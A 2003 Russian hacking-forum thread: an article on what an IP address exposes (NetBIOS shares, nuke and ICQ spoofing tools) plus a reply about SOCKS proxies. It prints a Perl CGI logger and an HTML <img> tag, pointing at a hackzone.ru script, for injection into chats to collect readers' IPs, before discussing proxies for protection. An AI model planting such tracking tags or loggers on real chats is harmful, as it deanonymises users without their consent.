Что можно сделать с ip адресом

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by iRedX, 13 Mar 2003.

  1. iRedX

    iRedX Elder - Старейшина

    Joined:
    18 Jun 2002
    Messages:
    117
    Likes Received:
    11
    Reputations:
    9
    Как известно, Internet основана на семействе протоколов tcp/ip, определяющих, каким образом осуществляется взаимодействие между подключенными к сети компьютерами. Идентификация этих компьютеров осуществляется с помощью так называемых IP-адресов, каждый из которых представляет собой уникальный 32-битный идентификатор, обычно записываемый в виде четырех десятичных чисел, например, 192.168.0.1. И с точки зрения адресации сервер, обрабатывающий ежесекундно тысячи запросов практически ничем не отличается от вашего компьютера, подключаемого к сети по dial-up. Единственная разница домашний пользователь, как правило, получает так называемый динамический ip-адрес, меняющийся от подключения к подключению.
    В то время как адрес сервера должен быть доступен всем клиентам, желающим воспользоваться его услугами, клиент вовсе не обязан афишировать свой адрес на каждом углу. Более того, обнародование ip-адреса может привести к весьма серьезным последствиям.

    Что можно сделать с человеком, зная его ip-адрес? Ну, например, если на его машине с Windows'95 живет NetBIOS over IP, и разделены для доступа по сети, да еще и без паролей, некоторые диски, то довольно много :) (для заинтересовавшихся - помочь здесь могут nbtstat, lmhosts и net use). Правда это не слишком часто встречается у dial-up пользователей. Другой пример - в прошлом году были найдены дыры в IE и NN, позволяющие получить доступ к файлам клиента. Дырки те, правда, уже прикрыли, но кто знает, сколько их еще осталось.

    До сих пор пользуются популярностью в определенных кругах программы, объединяемые общим названием (восходящего к первой программе этого класса - Winnuke), которые осуществляют атаки типа Denial of Service, приводящие к зависанию или отключению от сети атакуемого компьютера.

    Нежно любимая ICQ (http://www.icq.com) тоже оказалась не без греха. На странице Fyodor's Exploit world (http://www.dhp.com/~fyodor/sploits.html) помимо прочего приведена информация о слабостях ICQ-шного протокола (http://www.dhp.com/~fyodor/sploits/icq.spoof.overflow.seq.html), которые уже позволили создать многочисленные программы, делающие жизнь пользователя ICQ не слишком пресной. Так, например, на странице ICQ Snoofer Team (http://const.ricor.ru/~icq/) предлагается опробовать программу, позволяющую слать сообщения по ICQ с чужого UIN. Snoofer существует в двух вариантах - в виде скрипта, доступного со страницы, и в виде программы, которую обещают рассылать по почте. Для его использования достаточно знать ip-адрес адресата, номер порта, на котором висит ICQ, и UIN отправителя. Инструкция прилагается. Впрочем, все эти веселые программы пригодны в основном для деструктивной деятельности, особого смысла, в которой я не вижу (кстати, запущенное на нашем сервере голосование по поводу "нюков" показало, что большинство посетителей со мной солидарно).
    Посмотрим, какие действия можно предпринять для определения и скрытия ip-адреса.

    Абсолютных рецептов, конечно, не существует, можно говорить лишь о наиболее распространенных случаях. Вообще говоря, ваш IP-адрес может засветиться в огромном количестве мест. Другое дело - как его потом оттуда вытащить. Скажем, ваш любимый броузер при заходе на любую страницу сообщает о себе достаточно много информации.

    В качестве простой демонстрации приведу скрипт на Perl'е, выводящий основную информацию о посетителе страницы:

    Листинг 1. showuser.pl

    #!/usr/bin/perl
    print ("Content-type: text/html\n\n");
    @ee=(
    "CHARSET",
    "HTTP_USER_AGENT",
    "HTTP_REFERER",
    "REMOTE_ADDR",
    "REMOTE_HOST"
    );
    foreach $e(@ee)
    {
    print "$e: $ENV{$e}
    \n";
    }


    Вообще-то это самый безобидный случай обнародования ip-адреса (разве что если допустить злой умысел веб-мастера, установившего скрипт, атакующий посетителя, но вероятность целенаправленной атаки ничтожно мала).

    IP-адрес отправителя можно вытащить из заголовка полученной электронной почты (Скорее всего, он будет лежать в последнем поле Received:, в отличие от поля From: его подделать чуть сложнее). Если у вас динамически выделяемый адрес, то подобная ситуация не слишком опасна. Хуже, если адрес постоянный, что, правда, встречается, но реже.

    Самыми опасными с точки зрения обнародования ip-адреса оказываются всевозможные системы для интерактивного общения - IRC (командой /whois), InternetPhone, ICQ и т.д. Справедливости ради надо заметить, что некоторые из них пытаются прикрыть адрес пользователя (скажем, в MS Comic Chat показывается только часть адреса, в ICQ'98 появилась возможность скрытия своего адреса, не слишком правда хорошо работающая при общении со старыми версиями), но в большинстве систем адрес лежит совершенно открыто. Что же касается html-чатов, здесь все зависит от желания разработчика, принципиальная возможность показа ip-адреса существует, как это было продемонстрировано чуть выше.

    Идея следующая: если в чате разрешен ввод тегов html, никто не помешает вставить в свое сообщение что-то типа В итоге все присутствующие в чате (даже не зарегистрировавшиеся) будут, сами того не ведая, вызывать скрипт sniffer.cgi. Ну а остальное уже дело техники, реализация подобного скрипта на Perl'е, ведущего лог всех обращений, займет несколько строчек. Демонстрационный вариант этого скрипта доступен на www.hackzone.ru/cgi-bin/sniffer.cgi

    Способ применения очень прост - вы вставляете в свое сообщение текст наподобие следующего:

    <img src=http://www.hackzone.ru/cgi-bin/sniff.cgi?id>, где id - идентификатор канала (помогает не запутаться при использовании скрипта на разных чатах разными людьми).

    Если этот чат поддерживает вставку html-тегов, то скорее всего вы увидите анимированный логотип HackZone. Все, что теперь осталось - просмотреть лог (http://www.hackzone.ru/files/snifflog.txt), в который пишется дата обращения к скрипту, ip-адрес и идентификатор id.

    Поскольку речь идет о демонстрации, в логе хранятся только 30 последних записей.

    Листинг 2. sniffer.pl

    #!/usr/bin/perl
    $log = "/local/path/on/your/server/snifflog.txt";
    $now_string = localtime;
    @thetime = split(/ +/,$now_string);
    @theclock = split(/:/,$thetime[3]);
    $ampm = 'am';
    if ($theclock[0] > 11)
    { $ampm = 'pm'; }
    if ($theclock[0] == 0)
    { $theclock[0] = 12; }
    if ($theclock[0] > 12)
    { $theclock[0] -= 12; }
    else
    { $theclock[0] += 0; }
    $lnum=$ENV{'QUERY_STRING'};
    open (DB, "$log") || die "Can't Open $log: $!\n";
    flock(DB, 2);
    @line=;
    flock(DB, 8);
    close(DB);
    $line0="[$thetime[0] $theclock[0]\:$theclock[1]$ampm] (".$lnum.") ".
    $ENV{REMOTE_ADDR}." ".$ENV{REMOTE_HOST};
    $maxline=@line;
    $maxline=30 if ($maxline>30);
    open (DB, ">$log") || die "Can't Open $log: $!\n";
    flock(DB, 2);
    print DB ("$line0\n");
    for ($i=0; $i

    Теперь немного о том как же защититься от всего этого безобразия. Самый простой способ прикрыться при прогулках по Web - воспользоваться proxy либо службой наподобие Anonymizer, Inc.(http://sol.infonex.com/). Принцип их работы аналогичен - вы напрямую общаетесь только с proxy-сервером, а черную работу по заходу на сайты он делает за вас.

    Хуже всего дело обстоит с чатами. Проблема в том, что если найти какой-нибудь левый прокси для www достаточно легко, подобный сервис для irc, icq и иже с ними встречается, мягко говоря, очень редко и для простого dialup-пользователя практически недоступен. Именно поэтому большая часть средств для атаки по ip заточена под всевозможные irc-клиенты. Так что бороться тут можно лишь двумя способами. Самый надежный - не использовать их вообще. Более реалистичный - бороться не с причиной, а со следствиями - разыскать свежайшие заплаты и надеяться, что против вашей брони еще не изобрели подходящей пушки.

    Заинтересовавшимся вопросом приватности в Интернет могу порекомендовать очень хороший сайт "Privacy Issues: Частная жизнь в Интернете" (http://www.tamos.com/privacy/ru/), целиком посвященный этой теме. Помимо вопросов анонимности в WWW и IRC (расписанных весьма подробно), здесь рассматриваются способы установления личности по адресу электронной почты, даются краткие рекомендации по использованию криптографических средств, здесь же программа для подсматривания ввода с клавиатуры, несколько приятных ссылок и т.д.

    Created by UnError
     
  2. Бухой Дамбер

    Бухой Дамбер Elder - Старейшина

    Joined:
    16 Oct 2002
    Messages:
    91
    Likes Received:
    0
    Reputations:
    0
    подобный сервис для irc, icq и иже с ними встречается, мягко говоря, очень редко и для простого dialup-пользователя практически недоступен

    помему? :O

    такие же левые прокси можно использовать как для всяких ась/одиг, так и для irc(сокс или туннелирование)... я прав?